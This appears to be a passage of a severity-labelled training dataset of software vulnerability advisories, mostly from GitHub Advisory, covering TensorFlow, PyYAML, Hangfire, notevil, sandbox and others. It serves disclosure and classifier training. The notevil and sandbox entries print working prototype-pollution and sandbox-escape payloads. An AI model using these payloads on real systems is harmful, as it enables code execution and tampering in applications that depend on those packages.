you are using Apollo Server you do need to take action to resolve this vulnerability. See the [Apollo Server advisory](https://github.com/apollographql/apollo-server/security/advisories/GHSA-qm7x-rc44-rrqw) for details.\n\n\n### 3. Patches\n\n`graphql-playground-react@1.7.28` addresses this issue via defense in depth:\n\n- **HTML-escaping text** that should be treated as text rather than HTML. In most of the app, this happens automatically because React escapes all interpolated text by default. However, one vulnerable component uses the unsafe `innerHTML` API and interpolated type names directly into HTML. We now properly escape that type name, which fixes the known vulnerability.\n\n- **Validates the schema** upon receiving the introspection response or schema changes. Schemas with names that violate the GraphQL spec will no longer be loaded. (This includes prevent", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "c34e98c02af1edac6019", "text": "Cotonti CMS v0.9.4 Multiple Remote Vulnerabilities", "text_raw": "Cotonti CMS v0.9.4 Multiple Remote Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-10-10", "split": "train"}
-{"id": "2b293d0639629249c1c2", "text": "Improper Input Validation in PyYAML\n\nA vulnerability was discovered in the PyYAML library in versions before 5.4, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. This flaw allows an attacker to execute arbitrary code on the system by abusing the python/object/new constructor. This flaw is due to an incomplete fix for CVE-2020-1747.", "text_raw": "Improper Input Validation in PyYAML\n\n[Severity: CRITICAL]\n\nA vulnerability was discovered in the PyYAML library in versions before 5.4, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. This flaw allows an attacker to execute arbitrary code on the system by abusing the python/object/new constructor. This flaw is due to an incomplete fix for CVE-2020-1747.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-03-25", "split": "train"}
-{"id": "25ef68dd2d1e7e59f614", "text": "Externally Controlled Reference to a Resource in Another Sphere, Improper Input Validation, and External Control of File Name or Path in Ansible\n\nA vulnerability was found in Ansible Engine versions 2.9.x before 2.9.3, 2.8.x before 2.8.8, 2.7.x before 2.7.16 and earlier, where in Ansible's nxos_file_copy module can be used to copy files to a flash or bootflash on NXOS devices. Malicious code could craft the filename parameter to perform OS command injections. This could result in a loss of confidentiality of the system among other issues.", "text_raw": "Externally Controlled Reference to a Resource in Another Sphere, Improper Input Validation, and External Control of File Name or Path in Ansible\n\n[Severity: HIGH]\n\nA vulnerability was found in Ansible Engine versions 2.9.x before 2.9.3, 2.8.x before 2.8.8, 2.7.x before 2.7.16 and earlier, where in Ansible's nxos_file_copy module can be used to copy files to a flash or bootflash on NXOS devices. Malicious code could craft the filename parameter to perform OS command injections. This could result in a loss of confidentiality of the system among other issues.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "1af8478a12ad34ebbe1e", "text": "Sensitive data written to disk unencrypted in Spark\n\nPrior to Spark 2.3.3, in certain situations Spark would write user data to local disk unencrypted, even if spark.io.encryption.enabled=true. This includes cached blocks that are fetched to disk (controlled by spark.maxRemoteBlockSizeFetchToMem); in SparkR, using parallelize; in Pyspark, using broadcast and parallelize; and use of python udfs.", "text_raw": "Sensitive data written to disk unencrypted in Spark\n\n[Severity: HIGH]\n\nPrior to Spark 2.3.3, in certain situations Spark would write user data to local disk unencrypted, even if spark.io.encryption.enabled=true. This includes cached blocks that are fetched to disk (controlled by spark.maxRemoteBlockSizeFetchToMem); in SparkR, using parallelize; in Pyspark, using broadcast and parallelize; and use of python udfs.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-08", "split": "train"}
-{"id": "68628e8e9396ee00ce45", "text": "Division by zero in TFLite\n\n### Impact\nThe implementation of fully connected layers in TFLite is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/fully_connected.cc#L226):\n\n```cc\nconst int batch_size = input_size / filter->dims->data[1];\n```\n\nAn attacker can craft a model such that `filter->dims->data[1]` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [718721986aa137691ee23f03638867151f74935f](https://github.com/tensorflow/tensorflow/commit/718721986aa137691ee23f03638867151f74935f).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360. Concurrently, it has also been reported by Yakun Zhang of Baidu Security.", "text_raw": "Division by zero in TFLite\n\n[Severity: MEDIUM]\n\n### Impact\nThe implementation of fully connected layers in TFLite is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/lite/kernels/fully_connected.cc#L226):\n\n```cc\nconst int batch_size = input_size / filter->dims->data[1];\n```\n\nAn attacker can craft a model such that `filter->dims->data[1]` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [718721986aa137691ee23f03638867151f74935f](https://github.com/tensorflow/tensorflow/commit/718721986aa137691ee23f03638867151f74935f).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360. Concurrently, it has also been reported by Yakun Zhang of Baidu Security.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8edb47dac61d8860576d", "text": "python-gnupg's shell_quote function does not properly quote strings\n\nThe shell_quote function in python-gnupg 0.3.5 does not properly quote strings, which allows context-dependent attackers to execute arbitrary code via shell metacharacters in unspecified vectors, as demonstrated using \"$(\" command-substitution sequences, a different vulnerability than CVE-2014-1928.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2013-7323.", "text_raw": "python-gnupg's shell_quote function does not properly quote strings\n\n[Severity: HIGH]\n\nThe shell_quote function in python-gnupg 0.3.5 does not properly quote strings, which allows context-dependent attackers to execute arbitrary code via shell metacharacters in unspecified vectors, as demonstrated using \"$(\" command-substitution sequences, a different vulnerability than CVE-2014-1928.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2013-7323.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "dfb91fceb3dcd536840b", "text": "Withdrawn, accidental duplicate publish.\n\nActive Record in Ruby on Rails 4.2.x before 4.2.7.1 does not properly consider differences in parameter handling between the Active Record component and the JSON implementation, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks or trigger missing WHERE clauses via a crafted request, as demonstrated by certain \"[nil]\" values, a related issue to CVE-2012-2660, CVE-2012-2694, and CVE-2013-0155.", "text_raw": "Moderate severity vulnerability that affects activerecord\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\n\nActive Record in Ruby on Rails 4.2.x before 4.2.7.1 does not properly consider differences in parameter handling between the Active Record component and the JSON implementation, which allows remote attackers to bypass intended database-query restrictions and perform NULL checks or trigger missing WHERE clauses via a crafted request, as demonstrated by certain \"[nil]\" values, a related issue to CVE-2012-2660, CVE-2012-2694, and CVE-2013-0155.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-13", "split": "train"}
-{"id": "919ecc57b0e186876af0", "text": "Denial of Service in ammo\n\nAll versions of `ammo` are vulnerable to Denial of Service. The Range HTTP header parser has a vulnerability which will cause the function to throw a system error if the header is set to an invalid value. Because hapi is not expecting the function to ever throw, the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n## Recommendation\n\nThis package is deprecated and is now maintained as `@hapi/ammo`. Please update your dependencies to use `@hapi/ammo`.", "text_raw": "Denial of Service in ammo\n\n[Severity: HIGH]\n\nAll versions of `ammo` are vulnerable to Denial of Service. The Range HTTP header parser has a vulnerability which will cause the function to throw a system error if the header is set to an invalid value. Because hapi is not expecting the function to ever throw, the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n\n## Recommendation\n\nThis package is deprecated and is now maintained as `@hapi/ammo`. Please update your dependencies to use `@hapi/ammo`. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b8b103e4fec099e338a8", "text": "Missing Authorization with Default Settings in Dashboard UI\n\nDashboard UI in Hangfire.Core uses authorization filters to protect it from showing sensitive data to unauthorized users. By default when no custom authorization filters specified, `LocalRequestsOnlyAuthorizationFilter` filter is being used to allow only local requests and prohibit all the remote requests to provide sensible, protected by default settings.\n\nHowever due to the recent changes, in version 1.7.25 no authorization filters are used by default, allowing remote requests to succeed.\n\n### Impact\n\nMissing authorization when default options are used for the Dashboard UI, e.g. when no custom authorization rules are used as recommended in the [Using Dashboard](https://docs.hangfire.io/en/latest/configuration/using-dashboard.html#configuring-authorization) documentation article.\n\n#### Impacted\n\nIf you are using `UseHangfireDashboard` method with default `DashboardOptions.Authorization` property value, then your installation is impacted:\n\n```csharp\napp.UseHangfireDashboard(); // Impacted\napp.UseHangfireDashboard(\"/hangfire\", new DashboardOptions()); // Impacted\n```\n\n#### Not Impacted\n\nIf any other authorization filter is specified in the `DashboardOptions.Authorization` property, the you are not impacted:\n\n```csharp\napp.UseHangfireDashboard(\"/hangfire\", new DashboardOptions\n{\n    Authorization = new []{ new SomeAuthorizationFilter(); } // Not impacted\n});\n```\n\n### Patches\n\nPatch is already available in version [1.7.26](https://github.com/HangfireIO/Hangfire/releases/tag/v1.7.26) and already available on NuGet.org, please see [Hangfire.Core 1.7.26](https://www.nuget.org/packages/Hangfire.Core/1.7.26). Default authorization rules now prohibit remote requests by default again by including the `LocalRequestsOnlyAuthorizationFilter` filter to the default settings. Please upgrade to the newest version in order to mitigate the issue.\n\n### Workarounds\n\nIt is possible to fix the issue by using the `LocalRequestsOnlyAuthorizationFilter` explicitly when configuring the Dashboard UI. In this case upgrade is not required.\n\n```csharp\n// using Hangfire.Dashboard;\n\napp.UseHangfireDashboard(\"/hangfire\", new DashboardOptions\n{\n    Authorization = new []{ new LocalRequestsOnlyAuthorizationFilter(); }\n});\n```\n\n### References\n\nOriginal GitHub Issue: https://github.com/HangfireIO/Hangfire/issues/1958", "text_raw": "Missing Authorization with Default Settings in Dashboard UI\n\n[Severity: HIGH]\n\nDashboard UI in Hangfire.Core uses authorization filters to protect it from showing sensitive data to unauthorized users. By default when no custom authorization filters specified, `LocalRequestsOnlyAuthorizationFilter` filter is being used to allow only local requests and prohibit all the remote requests to provide sensible, protected by default settings.\n\nHowever due to the recent changes, in version 1.7.25 no authorization filters are used by default, allowing remote requests to succeed.\n\n### Impact\n\nMissing authorization when default options are used for the Dashboard UI, e.g. when no custom authorization rules are used as recommended in the [Using Dashboard](https://docs.hangfire.io/en/latest/configuration/using-dashboard.html#configuring-authorization) documentation article. \n\n#### Impacted\n\nIf you are using `UseHangfireDashboard` method with default `DashboardOptions.Authorization` property value, then your installation is impacted:\n\n```csharp\napp.UseHangfireDashboard(); // Impacted\napp.UseHangfireDashboard(\"/hangfire\", new DashboardOptions()); // Impacted\n```\n\n#### Not Impacted\n\nIf any other authorization filter is specified in the `DashboardOptions.Authorization` property, the you are not impacted:\n\n```csharp\napp.UseHangfireDashboard(\"/hangfire\", new DashboardOptions\n{\n    Authorization = new []{ new SomeAuthorizationFilter(); } // Not impacted\n});\n```\n\n### Patches\n\nPatch is already available in version [1.7.26](https://github.com/HangfireIO/Hangfire/releases/tag/v1.7.26) and already available on NuGet.org, please see [Hangfire.Core 1.7.26](https://www.nuget.org/packages/Hangfire.Core/1.7.26). Default authorization rules now prohibit remote requests by default again by including the `LocalRequestsOnlyAuthorizationFilter` filter to the default settings. Please upgrade to the newest version in order to mitigate the issue.\n\n### Workarounds\n\nIt is possible to fix the issue by using the `LocalRequestsOnlyAuthorizationFilter` explicitly when configuring the Dashboard UI. In this case upgrade is not required.\n\n```csharp\n// using Hangfire.Dashboard;\n\napp.UseHangfireDashboard(\"/hangfire\", new DashboardOptions\n{\n    Authorization = new []{ new LocalRequestsOnlyAuthorizationFilter(); }\n});\n```\n\n### References\n\nOriginal GitHub Issue: https://github.com/HangfireIO/Hangfire/issues/1958", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "9bbe64fc33ed414de099", "text": "Kubernetes Privilege Escalation\n\nKubernetes version 1.5.0-1.5.4 is vulnerable to a privilege escalation in the PodSecurityPolicy admission plugin resulting in the ability to make use of any existing PodSecurityPolicy object.", "text_raw": "Kubernetes Privilege Escalation\n\n[Severity: CRITICAL]\n\nKubernetes version 1.5.0-1.5.4 is vulnerable to a privilege escalation in the PodSecurityPolicy admission plugin resulting in the ability to make use of any existing PodSecurityPolicy object.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-12", "split": "train"}
-{"id": "83393d0266511476dc04", "text": "Deserialization of Untrusted Data in Log4j\n\nIn Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.", "text_raw": "Deserialization of Untrusted Data in Log4j\n\n[Severity: CRITICAL]\n\nIn Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-01-06", "split": "train"}
-{"id": "95d781788f3a44468ddb", "text": "The Recurly Client .NET Library before 1.0.1, 1.1.10, 1.2.8, 1.3.2, 1.4.14, 1.5.3, 1.6.2, 1.7.1, 1.8.1 is vulnerable to a Server-Side Request Forgery vulnerability due to incorrect use of \"Uri.EscapeUriString\" that could result in compromise of API keys or other critical resources.", "text_raw": "Critical severity vulnerability that affects recurly-api-client\n\n[Severity: CRITICAL]\n\nThe Recurly Client .NET Library before 1.0.1, 1.1.10, 1.2.8, 1.3.2, 1.4.14, 1.5.3, 1.6.2, 1.7.1, 1.8.1 is vulnerable to a Server-Side Request Forgery vulnerability due to incorrect use of \"Uri.EscapeUriString\" that could result in compromise of API keys or other critical resources.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "d6e46cd711b07c30164e", "text": "Information disclosure of source code in SimpleSAMLphp\n\n### Background\n\nThe module controller in `SimpleSAML\\Module` that processes requests for pages\nhosted by modules, has code to identify paths ending with `.php` and process\nthose as PHP code. If no other suitable way of handling the given path exists it\npresents the file to the browser.\n\n### Description\n\nThe check to identify paths ending with `.php` does not account for uppercase\nletters. If someone requests a path ending with e.g. `.PHP` and the server is\nserving the code from a case-insensitive file system, such as on Windows, the\nprocessing of the PHP code does not occur, and the source code is instead\npresented to the browser.\n\n### Affected versions\n\nSimpleSAMLphp versions **1.18.5 and older**.\n\n### Impact\n\nAn attacker may use this issue to gain access to the source code in third-party\nmodules that is meant to be private, or even sensitive. However, the attack\nsurface is considered small, as the attack will only work when SimpleSAMLphp\nserves such content from a file system that is not case-sensitive, such as on\nWindows.\n\n### Resolution\n\nUpgrade the SimpleSAMLphp installation to version **1.18.6**.\n\n### Credit\n\nThis vulnerability was discovered and reported by Sławek Naczyński.", "text_raw": "Information disclosure of source code in SimpleSAMLphp\n\n[Severity: LOW]\n\n### Background\n\nThe module controller in `SimpleSAML\\Module` that processes requests for pages\nhosted by modules, has code to identify paths ending with `.php` and process\nthose as PHP code. If no other suitable way of handling the given path exists it\npresents the file to the browser.\n\n### Description\n\nThe check to identify paths ending with `.php` does not account for uppercase\nletters. If someone requests a path ending with e.g. `.PHP` and the server is\nserving the code from a case-insensitive file system, such as on Windows, the\nprocessing of the PHP code does not occur, and the source code is instead\npresented to the browser.\n\n### Affected versions\n\nSimpleSAMLphp versions **1.18.5 and older**.\n\n### Impact\n\nAn attacker may use this issue to gain access to the source code in third-party\nmodules that is meant to be private, or even sensitive. However, the attack\nsurface is considered small, as the attack will only work when SimpleSAMLphp\nserves such content from a file system that is not case-sensitive, such as on\nWindows.\n\n### Resolution\n\nUpgrade the SimpleSAMLphp installation to version **1.18.6**.\n\n### Credit\n\nThis vulnerability was discovered and reported by Sławek Naczyński.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-04-22", "split": "train"}
-{"id": "fbce4cef653536a5c1d3", "text": "Http request which redirect to another hostname do not strip authorization header in @actions/http-client\n\n### Impact\nIf consumers of the http-client:\n  1. make an http request with an authorization header\n  2. that request leads to a redirect (302) and\n  3. the redirect url redirects to another domain or hostname\n\nThe authorization header will get passed to the other domain.\n\nNote that since this library is for actions, the GITHUB_TOKEN that is available in actions is generated and scoped per job with [these permissions](https://help.github.com/en/actions/configuring-and-managing-workflows/authenticating-with-the-github_token#permissions-for-the-github_token).\n\n### Patches\nThe problem is fixed in 1.0.8 at [npm here](https://www.npmjs.com/package/@actions/http-client).  In 1.0.8, the authorization header is stripped before making the redirected request if the hostname is different.\n\n### Workarounds\nNone.\n\n### References\nhttps://github.com/actions/http-client/pull/27\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/actions/http-client/issues", "text_raw": "Http request which redirect to another hostname do not strip authorization header in @actions/http-client\n\n[Severity: MEDIUM]\n\n### Impact\nIf consumers of the http-client:\n  1. make an http request with an authorization header\n  2. that request leads to a redirect (302) and\n  3. the redirect url redirects to another domain or hostname \n\nThe authorization header will get passed to the other domain.\n\nNote that since this library is for actions, the GITHUB_TOKEN that is available in actions is generated and scoped per job with [these permissions](https://help.github.com/en/actions/configuring-and-managing-workflows/authenticating-with-the-github_token#permissions-for-the-github_token).\n\n### Patches\nThe problem is fixed in 1.0.8 at [npm here](https://www.npmjs.com/package/@actions/http-client).  In 1.0.8, the authorization header is stripped before making the redirected request if the hostname is different.\n\n### Workarounds\nNone.\n\n### References\nhttps://github.com/actions/http-client/pull/27\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/actions/http-client/issues", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-29", "split": "train"}
-{"id": "d90b01604a32204403fd", "text": "XML External Entity Reference in Glances\n\nThe package glances before 3.2.1 are vulnerable to XML External Entity (XXE) Injection via the use of Fault to parse untrusted XML data, which is known to be vulnerable to XML attacks.", "text_raw": "XML External Entity Reference in Glances\n\n[Severity: MEDIUM]\n\nThe package glances before 3.2.1 are vulnerable to XML External Entity (XXE) Injection via the use of Fault to parse untrusted XML data, which is known to be vulnerable to XML attacks.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "29eac8e33fb50852bd98", "text": "File System Bounds Escape\n\n### Impact\n\nClients of FTP servers utilizing `ftp-srv` hosted on Windows machines can escape the  FTP user's defined root folder using the expected FTP commands, for example, `CWD` and `UPDR`.\n\n### Background\n\nWhen windows separators exist within the path (`\\`), `path.resolve` leaves the upper pointers intact and allows the user to move beyond the root folder defined for that user. We did not take that into account when creating the path resolve function.\n\n![Screen Shot 2020-12-15 at 6 42 52 PM](https://user-images.githubusercontent.com/3375444/102293941-5a75fb80-3f05-11eb-9d71-0c190a8dcc75.png)\n\n### Patches\nNone at the moment.\n\n### Workarounds\nThere are no workarounds for windows servers. Hosting the server on a different OS mitigates the issue.\n\n### References\n\nIssues: \nhttps://github.com/autovance/ftp-srv/issues/167\nhttps://github.com/autovance/ftp-srv/issues/225\n\n### For more information\nIf you have any questions or comments about this advisory:\nOpen an issue at https://github.com/autovance/ftp-srv.\nPlease email us directly; security@autovance.com.", "text_raw": "File System Bounds Escape\n\n[Severity: MEDIUM]\n\n### Impact\n\nClients of FTP servers utilizing `ftp-srv` hosted on Windows machines can escape the  FTP user's defined root folder using the expected FTP commands, for example, `CWD` and `UPDR`.\n\n### Background\n\nWhen windows separators exist within the path (`\\`), `path.resolve` leaves the upper pointers intact and allows the user to move beyond the root folder defined for that user. We did not take that into account when creating the path resolve function.\n\n![Screen Shot 2020-12-15 at 6 42 52 PM](https://user-images.githubusercontent.com/3375444/102293941-5a75fb80-3f05-11eb-9d71-0c190a8dcc75.png)\n\n### Patches\nNone at the moment.\n\n### Workarounds\nThere are no workarounds for windows servers. Hosting the server on a different OS mitigates the issue.\n\n### References\n\nIssues: \nhttps://github.com/autovance/ftp-srv/issues/167\nhttps://github.com/autovance/ftp-srv/issues/225\n\n### For more information\nIf you have any questions or comments about this advisory:\nOpen an issue at https://github.com/autovance/ftp-srv.\nPlease email us directly; security@autovance.com.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-10", "split": "train"}
-{"id": "1e5ac0b303975a44c0f5", "text": "Sandbox Breakout / Prototype Pollution in notevil\n\nVersions of `notevil` prior to 1.3.3 are vulnerable to Sandbox Escape leading to Prototype pollution. The package fails to restrict access to the main context, allowing attacker to add or modify an object's prototype.\n\nEvaluating the payload ```try{a[b];}catch(e){e.constructor.constructor('return __proto__.arguments.callee.__proto__.polluted=true')()}``` add the `polluted` property to Function.\n\n## Recommendation\n\nUpgrade to version 1.3.3 or later.", "text_raw": "Sandbox Breakout / Prototype Pollution in notevil\n\n[Severity: MEDIUM]\n\nVersions of `notevil` prior to 1.3.3 are vulnerable to Sandbox Escape leading to Prototype pollution. The package fails to restrict access to the main context, allowing attacker to add or modify an object's prototype.\n\nEvaluating the payload ```try{a[b];}catch(e){e.constructor.constructor('return __proto__.arguments.callee.__proto__.polluted=true')()}``` add the `polluted` property to Function.\n\n\n## Recommendation\n\nUpgrade to version 1.3.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "17e5173c2c59574e4215", "text": "Vulnerability allows a user of Apache Oozie 3.1.3-incubating to 5.0.0 to impersonate other users. The malicious user can construct an XML that results workflows running in other user's name.", "text_raw": "Moderate severity vulnerability that affects org.apache.oozie:oozie-core\n\n[Severity: MEDIUM]\n\nVulnerability allows a user of Apache Oozie 3.1.3-incubating to 5.0.0 to impersonate other users. The malicious user can construct an XML that results workflows running in other user's name.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-20", "split": "train"}
-{"id": "e3e4b2bedd64e23b6997", "text": "Cross-Site Scripting in hexo-admin\n\nAll versions of `hexo-admin` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize rendered markdown, allowing attackers to execute arbitrary JavaScript in a victim's browser if they are able to create new posts.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in hexo-admin\n\n[Severity: HIGH]\n\nAll versions of `hexo-admin` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize rendered markdown, allowing attackers to execute arbitrary JavaScript in a victim's browser if they are able to create new posts.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "78d2c22f6a48d9b6552e", "text": "Sandbox Breakout / Arbitrary Code Execution in sandbox\n\nAll versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in sandbox\n\n[Severity: MEDIUM]\n\nAll versions of `sandbox` through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.\n\n## Proof of concept\n```\nvar Sandbox = require(\"sandbox\")\ns = new Sandbox()\ncode = `new Function(\"return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())\")()(\"util\").inspect(\"hi\")`\ns.run(code)\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "05b403cd94a3771be4c7", "text": "Denial of Service in Tensorflow\n\n### Impact\nThe `SparseCountSparseOutput` implementation does not validate that the input arguments form a valid sparse tensor. In particular, there is no validation that the `indices` tensor has rank 2. This tensor must be a matrix because code assumes its elements are accessed as elements of a matrix:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L185\n\nHowever, malicious users can pass in tensors of different rank, resulting in a `CHECK` assertion failure and a crash. This can be used to cause denial of service in serving installations, if users are allowed to control the components of the input sparse tensor.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)", "text_raw": "Denial of Service in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nThe `SparseCountSparseOutput` implementation does not validate that the input arguments form a valid sparse tensor. In particular, there is no validation that the `indices` tensor has rank 2. This tensor must be a matrix because code assumes its elements are accessed as elements of a matrix:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L185\n\nHowever, malicious users can pass in tensors of different rank, resulting in a `CHECK` assertion failure and a crash. This can be used to cause denial of service in serving installations, if users are allowed to control the components of the input sparse tensor.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "7d0dfed890628f881aab", "text": "Uncontrolled Resource Consumption in trim-off-newlines\n\nAll versions of package trim-off-newlines are vulnerable to Regular Expression Denial of Service (ReDoS) via string processing.", "text_raw": "Uncontrolled Resource Consumption in trim-off-newlines\n\n[Severity: MEDIUM]\n\nAll versions of package trim-off-newlines are vulnerable to Regular Expression Denial of Service (ReDoS) via string processing.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "66b77b70e9fe681cfe66", "text": "cofee-script is malware\n\nThe `cofee-script` package is a piece of malware that steals sensitive data such as a user's private SSH key and bash history, sending them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nIf you have found `cofee-script` installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your SSH keys, registry credentials, tokens, and any other sensitive credentials that may have been present in your bash history.\n\nAdditionally, any service which may have been exposed via credentials in your bash history or accessible via your ssh keys, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "cofee-script is malware\n\n[Severity: HIGH]\n\nThe `cofee-script` package is a piece of malware that steals sensitive data such as a user's private SSH key and bash history, sending them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nIf you have found `cofee-script` installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your SSH keys, registry credentials, tokens, and any other sensitive credentials that may have been present in your bash history.\n\nAdditionally, any service which may have been exposed via credentials in your bash history or accessible via your ssh keys, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "f2120c1906cab5a15ee9", "text": "Withdrawn, accidental duplicate publish.\n\nCross-site scripting (XSS) vulnerability in jQuery UI before 1.12.0 might allow remote attackers to inject arbitrary web script or HTML via the closeText parameter of the dialog function.", "text_raw": "High severity vulnerability that affects jquery-ui\n\n[Severity: HIGH]\n\nWithdrawn, accidental duplicate publish.\n\nCross-site scripting (XSS) vulnerability in jQuery UI before 1.12.0 might allow remote attackers to inject arbitrary web script or HTML via the closeText parameter of the dialog function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-27", "split": "train"}
